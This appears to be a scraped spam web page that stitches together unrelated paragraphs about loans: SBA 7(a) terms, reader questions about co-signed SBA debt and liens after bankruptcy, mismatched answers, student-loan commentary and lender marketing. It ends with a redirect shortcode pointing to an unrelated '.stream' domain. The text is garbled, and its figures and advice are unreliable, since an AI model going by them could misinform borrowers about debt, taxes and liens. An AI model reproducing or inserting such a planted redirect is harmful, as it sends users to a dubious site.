Southern Loans is a consumer finance company licensed by the North Carolina Banking Commission. Established in 1988, Southern Loans specializes in personal Loans from $300 to $5000 and automobile purchase loans up to $12,000.
This is the SBA’s most commonly used — and most flexible — type of loan to help start-up and existing small businesses when they can’t get funding through normal channels. It was named for section 7(a) of the Small Business Act. It’s flexible because it can be used for a variety of purposes, including buying machinery or equipment or furniture, purchasing real estate, leasehold improvements, working capital or even debt refinancing. The maturity term for these loans is up to 10 years for working capital and up to 25 years for fixed assets. In general, the SBA’s maximum exposure for such loans is capped at $1.5 million and since the agency will back up to 75 percent of a 7(a) loan that means a business could borrow up to $2 million. (The SBA’s share of such loans was raised to 90 percent under the American Recovery and Reinvestment Act, which became law in February 2009, but is expected to drop back down unless extended by Congress.)
I co-signed a 50K SBA loan with my husband in 2008. We divorced in 2011 and I relinquished all association with the business. He filed for bankruptcy in 2014 and I became responsible for the 50k loan (he was only paying interest). Even though I’m not associated with the business can I claim the interest paid in my taxes?
We need to proactively contact the SBA and work out a settlement. If you fail to do so, at some point you will receive a notice form the Department of Treasury and we will need to negotiate with them. They will tack 30% on to the amount owed, which is legal per the SBA loan documents that you probably signed. Treasury is much harder to deal with than the SBA.
In addition to mentoring, SCORE also offers free and low-cost educational workshops each year, both online and in-person. In 2016, clients attended 119,957 online workshop sessions, while 237,712 local workshop attendees benefited from SCORE’s in-person educational programming.
Your job is to enter that stuff, then kick back – maybe treat yourself to a smoothie or something. That’s it. One of our funding managers will get back to you within 24-48 hours to help you with the rest of it.
The SBA’s flagship 7(a) loan program also offers financing that borrowers can use to start businesses. But 7(a) SBA loans are tough to get. They typically go to established businesses that can provide collateral — a physical asset, such as real estate or equipment, that the lender can sell if you default. The qualifications are strict, and even if you qualify, the process can take several months.
Like those who took on subprime mortgages, many people with private student loans end up shouldering debt that they never earn enough to repay. Borrowing to finance higher education is an economic decision that often pays off, but federal student loans — a much larger market, totaling $1.3 trillion — are directly funded by the government and come with consumer protections like income-based repayment options.
Sounds great, but these loans require a lot of collateral and can be notoriously hard to secure. Application and approval can also be daunting — you’ll need to complete a slew of paperwork, put up to 30% down, and possibly wait a few months to see any money.
We had a small business loan and the bank liened all our property, including personal home and rental house. We had to file Chapter 7 personally because of securing our business debt. We have been discharged for several years but the liens remain. The bank was repaid their 25% of the business loan by sale of our business property. The SBA guaranteed the 75%. Is there any possibility of getting the liens removed?
Others are left with debt for degrees they never completed, because the for-profit colleges they enrolled in closed amid allegations of fraud. Federal student borrowers can apply for a discharge in those circumstances, but private borrowers cannot.
At Fora Financial, we do not restrict how you use your loan, so you can use it in ways that will benefit your specific business. Whether it is purchasing equipment or paying employees, you’ll be able to meet your business’s specific needs.
Many new small-business owners access financing through personal loans, often via a growing number of online lenders. But like credit cards, personal loans can have high APRs, especially for bad credit borrowers.
Second question first. If the OIC was properly prepared, you have been released from your personal guarantee. As to the 1099, it should be sent the entity that took out the loan, not you. If you had an LLC or corporation, they got the money. You were a guarantor not the borrower.
Most online lenders can’t compete with the low APRs big banks can offer, but they make it easier for small businesses that might be passed over by big banks to get funding. You’ll still want an interest rate you can handle, transparent terms and fees, and a streamlined application process. Here are all the factors I considered when picking the best small business loans of 2018: [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]